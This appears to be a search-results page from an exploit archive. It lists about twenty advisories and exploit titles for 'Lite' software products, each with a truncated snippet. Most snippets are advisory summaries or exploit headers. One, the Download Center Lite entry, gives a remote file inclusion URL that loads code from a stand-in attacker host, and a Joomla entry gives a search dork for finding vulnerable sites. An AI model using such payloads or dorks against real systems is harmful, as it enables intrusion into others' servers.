9763 matches found
Expinion.net News Manager Lite 2.5 news_sort.asp filter Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/9935/info Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks. The issues exist in the...
Expinion.net News Manager Lite 2.5 NEWS_LOGIN Cookie ADMIN Parameter Manipulation Admin Authentication Bypass
No description provided by source. source: http://www.securityfocus.com/bid/9935/info Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks. The issues exist in the...
Media Player classic StatsReader (.stats file) stack buffer Overflow PoC
No description provided by source. ! /usr/bin/python Media Player classic StatsReader .stats file stack buffer Overflow poc Software Link: http://mpc-hc.sourceforge.net/download-media-player-classic-hc.html Tested in : Windows XP SP3 Credit : ItSecTeam mail : [email protected] Web:...
NEWSolved Lite 1.9.2 - (abs_path) Remote File Inclusion Vulnerabilities
No description provided by source...
Download Center Lite (DCL) <= 1.5 - Remote File Inclusion
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...
Satel Lite Satellite.PHP Local File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/23143/info Satel Lite is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to access sensitive information and to execute...
MPlayer Lite r33064 - m3u SEH Overflow Exploit
No description provided by source...
Daemon tools lite DLL Hijacking Exploit (mfc80loc.dll)
No description provided by source. / Demon tool lite DLL Hijacking Exploit mfc80loc.dll Author : Mohamed Clay Greetz : linuxac.org && isecur1ty.org && security4arabs.com && v4-team.com && all My Friends note : EveryOne is happy with DLL Hijacking YooooPiiii!!!! Tested on: Windows XP How to use :...
Joomla Spider Calendar Lite (com_spidercalendar) SQL Injection
No description provided by source. Exploit Title: Joomla spider calendar lite Remote Exploit dork: inurl:comspidercalendar Date: 29-08-2012 Author: Daniel Barragan D4NB4R Twitter: @D4NB4R site: http://poisonsecurity.wordpress.com/ Vendor: http://web-dorado.com/products/spider-calendar-lite.html...
Joomla Freestyle FAQ Lite Component 1.3 com_fss (faqid) SQL Injection
No description provided by source...
CGI Script Center Subscribe Me Lite 2.0 Administrative Password Alteration (2)
No description provided by source. source: http://www.securityfocus.com/bid/1607/info Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition o...
Uebimiau Webmail 3.2.0-2.0 - Local File Inclusion Vulnerability
No description provided by source. Exploit Title: Uebimiau Webmail Local File Inclusion Date: 10-04-10 Author: Blake Software Link: http://sourceforge.net/projects/t-dahmail/files/latest/Uebimiau3.2.02.0Alpha.zip/download Version: 3.2.0-2.0 Tested on: Windows XP SP3 running xampp lite The stage...
VideoSpirit Lite 1.77 - (SEH) Buffer Overflow
No description provided by source. !/usr/bin/ruby Vendor: http://www.verytools.com/ Software link: http://www.verytools.com/videospirit/download.html print ''' VideoSpirit Lite 1.77 Seh Buffer Overflow Version: Lite 1.77 Date found: 11.11.2013 Exploit Author: metacom Tested on: Win7-Win8-EN '''...
SearchSimon Lite 1.0 Filename.ASP Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/26142/info SearchSimon Lite is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code...
iSO Filer Lite 2.1.0 - Directory Traversal
No description provided by source. Exploit Title: Filer Lite v2.1.0 for iPhone / iPod touch, Directory Traversal Date: 02/24/2011 Author: R3d@l3rt, Sp@2K, Sunlight, H@ckk3y Software Link : http://itunes.apple.com/kr/app/filer-lite-download-view-manage/id350939597?mt=8 Version: 2.1.0 Tested on:...
Subberz Lite UserFunc Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/18990/info SubberZLite is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious...
CyBoards PHP Lite 1.21/1.25 Post.PHP SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/17107/info CyBoards PHP Lite is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit cou...
PhotoWIFI Lite 1.0 iOS - Multiple Vulnerabilities
No description provided by source. Document Title: =============== PhotoWIFI Lite v1.0 iOS - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1239 Release Date: ============= 2014-03-27 Vulnerability Laboratory ID VL-ID:...
PHP Lite Calendar Express 2.2 login.php cid Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/14504/info Calendar Express is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. A successful exploit could allow an...
PHP Lite Calendar Express 2.2 subscribe.php cid Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/14504/info Calendar Express is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. A successful exploit could allow an...